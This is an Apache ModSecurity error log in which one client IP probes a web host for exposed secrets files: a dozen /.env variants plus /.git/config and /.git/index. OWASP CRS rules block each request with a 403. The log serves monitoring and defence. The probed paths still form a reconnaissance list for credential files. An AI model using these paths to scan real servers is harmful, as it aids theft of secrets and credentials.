[Tue Oct 27 11:34:02.649993 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auDEaq-hHEA5KuUIXOZFBQAAAB8"]
[Tue Oct 27 11:34:02.651206 2026] [security2:error] [pid 3257226:tid 3257226] [client 34.53.184.30:59768] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.openai"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auDEanGERCR4kETtK7LctQAAABg"]
[Tue Oct 27 11:34:02.667705 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auDEaq-hHEA5KuUIXOZFBQAAAB8"]
[Tue Oct 27 11:34:02.667735 2026] [security2:error] [pid 3257226:tid 3257226] [client 34.53.184.30:59768] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auDEanGERCR4kETtK7LctQAAABg"]
[Tue Oct 27 11:34:02.667968 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auDEaq-hHEA5KuUIXOZFBQAAAB8"]
[Tue Oct 27 11:34:02.667992 2026] [security2:error] [pid 3257226:tid 3257226] [client 34.53.184.30:59768] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auDEanGERCR4kETtK7LctQAAABg"]
[Tue Oct 27 11:34:02.652047 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auDEag23RZndSc31yX5tyAAAABQ"]
[Tue Oct 27 11:34:02.668420 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auDEag23RZndSc31yX5tyAAAABQ"]
[Tue Oct 27 11:34:02.668675 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auDEag23RZndSc31yX5tyAAAABQ"]
[Tue Oct 27 11:34:02.720842 2026] [security2:error] [pid 3245436:tid 3245436] [client 34.53.184.30:59700] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auDEakT-nkC2k8zcLn8WCQAAAAE"]
[Tue Oct 27 11:34:02.720926 2026] [security2:error] [pid 3256853:tid 3256853] [client 34.53.184.30:59676] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auDEalTmXkizvR8k42UIrQAAABU"]
[Tue Oct 27 11:34:02.721052 2026] [security2:error] [pid 3245436:tid 3245436] [client 34.53.184.30:59700] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auDEakT-nkC2k8zcLn8WCQAAAAE"]
[Tue Oct 27 11:34:02.721250 2026] [security2:error] [pid 3256853:tid 3256853] [client 34.53.184.30:59676] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auDEalTmXkizvR8k42UIrQAAABU"]
[Tue Oct 27 11:34:02.721389 2026] [security2:error] [pid 3245436:tid 3245436] [client 34.53.184.30:59700] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auDEakT-nkC2k8zcLn8WCQAAAAE"]
[Tue Oct 27 11:34:02.721489 2026] [security2:error] [pid 3256853:tid 3256853] [client 34.53.184.30:59676] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auDEalTmXkizvR8k42UIrQAAABU"]
[Tue Oct 27 11:34:02.722308 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auDEat6XOKPJcVnECbx2pwAAABY"]
[Tue Oct 27 11:34:02.722449 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auDEat6XOKPJcVnECbx2pwAAABY"]
[Tue Oct 27 11:34:02.722450 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auDEatmgjCRRylsqPBT1_wAAACo"]
[Tue Oct 27 11:34:02.722576 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auDEatmgjCRRylsqPBT1_wAAACo"]
[Tue Oct 27 11:34:02.722659 2026] [security2:error] [pid 3240715:tid 3240715] [client 34.53.184.30:59732] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auDEat6XOKPJcVnECbx2pwAAABY"]
[Tue Oct 27 11:34:02.722777 2026] [security2:error] [pid 3257907:tid 3257907] [client 34.53.184.30:59690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auDEatmgjCRRylsqPBT1_wAAACo"]
[Tue Oct 27 11:34:02.723793 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auDEagY08XOpcUzVxFxUsQAAABM"]
[Tue Oct 27 11:34:02.723923 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auDEagY08XOpcUzVxFxUsQAAABM"]
[Tue Oct 27 11:34:02.724405 2026] [security2:error] [pid 3240911:tid 3240911] [client 34.53.184.30:59748] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auDEagY08XOpcUzVxFxUsQAAABM"]
[Tue Oct 27 11:34:02.724708 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.53.184.30:59716] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auDEaloIklFaGsOHQ-PJLAAAAAw"]
[Tue Oct 27 11:34:02.724837 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.53.184.30:59716] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auDEaloIklFaGsOHQ-PJLAAAAAw"]
[Tue Oct 27 11:34:02.725048 2026] [security2:error] [pid 3254132:tid 3254132] [client 34.53.184.30:59716] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auDEaloIklFaGsOHQ-PJLAAAAAw"]
[Tue Oct 27 11:34:02.753707 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auDEaq-hHEA5KuUIXOZFBgAAAB8"]
[Tue Oct 27 11:34:02.753707 2026] [security2:error] [pid 3257226:tid 3257226] [client 34.53.184.30:59768] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auDEanGERCR4kETtK7LctgAAABg"]
[Tue Oct 27 11:34:02.753908 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auDEaq-hHEA5KuUIXOZFBgAAAB8"]
[Tue Oct 27 11:34:02.753909 2026] [security2:error] [pid 3257226:tid 3257226] [client 34.53.184.30:59768] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auDEanGERCR4kETtK7LctgAAABg"]
[Tue Oct 27 11:34:02.754165 2026] [security2:error] [pid 3257836:tid 3257836] [client 34.53.184.30:59752] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auDEaq-hHEA5KuUIXOZFBgAAAB8"]
[Tue Oct 27 11:34:02.754194 2026] [security2:error] [pid 3257226:tid 3257226] [client 34.53.184.30:59768] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auDEanGERCR4kETtK7LctgAAABg"]
[Tue Oct 27 11:34:02.754909 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auDEag23RZndSc31yX5tyQAAABQ"]
[Tue Oct 27 11:34:02.755033 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auDEag23RZndSc31yX5tyQAAABQ"]
[Tue Oct 27 11:34:02.755270 2026] [security2:error] [pid 3250159:tid 3250159] [client 34.53.184.30:59770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auDEag23RZndSc31yX5tyQAAABQ"]
[Tue Oct 27 11:34:02.797029 2026] [security2:error] [pid 3245436:tid 3245436] [client 34.53.184.30:59700] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auDEakT-nkC2k8zcLn8WCgAAAAE"]
[Tue Oct 27 11:34:02.797092 2026] [security2:error] [pid 3256853:tid 3256853] [client 34.53.184.30:59676] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auDEalTmXkizvR8k42UIrgAAABU"]
[Tue Oct 27 11:34:02.797243 2026] [security2:error] [pid 3245436:tid 3245436] [client 34.53.184.30:59700] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auDEakT-nkC2k8zcLn8WCgAAAAE"]
